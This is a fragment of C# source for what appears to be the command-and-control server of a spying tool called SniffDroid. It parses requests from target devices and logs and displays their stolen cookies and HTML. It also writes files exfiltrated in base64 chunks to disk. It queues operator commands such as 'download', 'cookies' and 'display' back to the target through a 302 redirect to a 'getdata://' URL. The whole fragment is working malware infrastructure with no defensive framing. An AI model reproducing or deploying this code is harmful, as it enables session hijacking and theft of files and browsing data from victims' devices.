/// <summary> /// add a new connection to the list of the currently active connections /// </summary> /// <param name="connection">the connection to add</param> private static void RegisterConnection(Connection connection) { connectionList.Add(connection); Session.GetSessionByIP(connection.IP).ResetExpirationCounter(); }
/// <summary> /// interprets a line received by SniffDroid /// </summary> /// <param name="line"></param> private void Interpret(string line) { if (line == null) { return; } if (line.Length > 3 && line.Substring(0, 3) == "GET") { Shell.ShowActivity(); string[] parts = line.Split(' '); string url = parts[1]; parts = url.Split('/'); string decoded = ""; if (parts.Length > 2) { parts[2] = parts[2].Replace('_', '/'); decoded = Base64DecodeString(parts[2]); } switch (parts[1]) { case "notify": Session.GetSessionByIP(IP).EndFileWrite(true); break; case "cookies": case "html": if (parts.Length > 2) { string data = HttpUtility.UrlDecode(parts[2], Encoding.Default); if (parts[1] == "cookies") { AddLogEntry(data); ARESBrowser.ShowURL(Session.GetSessionByIP(IP).URL, data); } else { ARESBrowser.ShowHTML(data); } } break; case "data": AddLogEntry(decoded); break; case "file": try { if (parts.Length > 2) { Session.GetSessionByIP(IP).WriteToFile(Base64DecodeBytes(parts[2])); } else { Session.GetSessionByIP(IP).EndFileWrite(false); } } catch (Exception e) { Session.GetSessionByIP(IP).EndFileWrite(true); } break; case "upload": if (parts.Length > 2 && ServeFile(parts[2])) { return; } break; } } if (line == "") { string data = ""; if (Shell.Instance.Target == IP) { string nextCommand = Shell.Instance.NextCommand; string[] commandParts = nextCommand.Split(' '); switch (commandParts[0]) { case "download": if (RequireParamCount(commandParts, 2)) { string[] fileParts = nextCommand.Split(' ')[1].Split('/'); string fileName = fileParts[fileParts.Length - 1]; Session.GetSessionByIP(IP).BeginFileWrite(fileName); Shell.AddLogEntry("download started..."); } break; case "cookies": case "display": if (RequireParamCount(commandParts, 2)) { Session.GetSessionByIP(IP).URL = commandParts[1]; } break; } data = nextCommand; } if (data == "") { data = "idle"; } data = Base64Encode(data); writer.WriteLine("HTTP/1.1 302 Found"); writer.WriteLine("Location: getdata://data/" + data); writer.Write("\r\n"); Close(); } }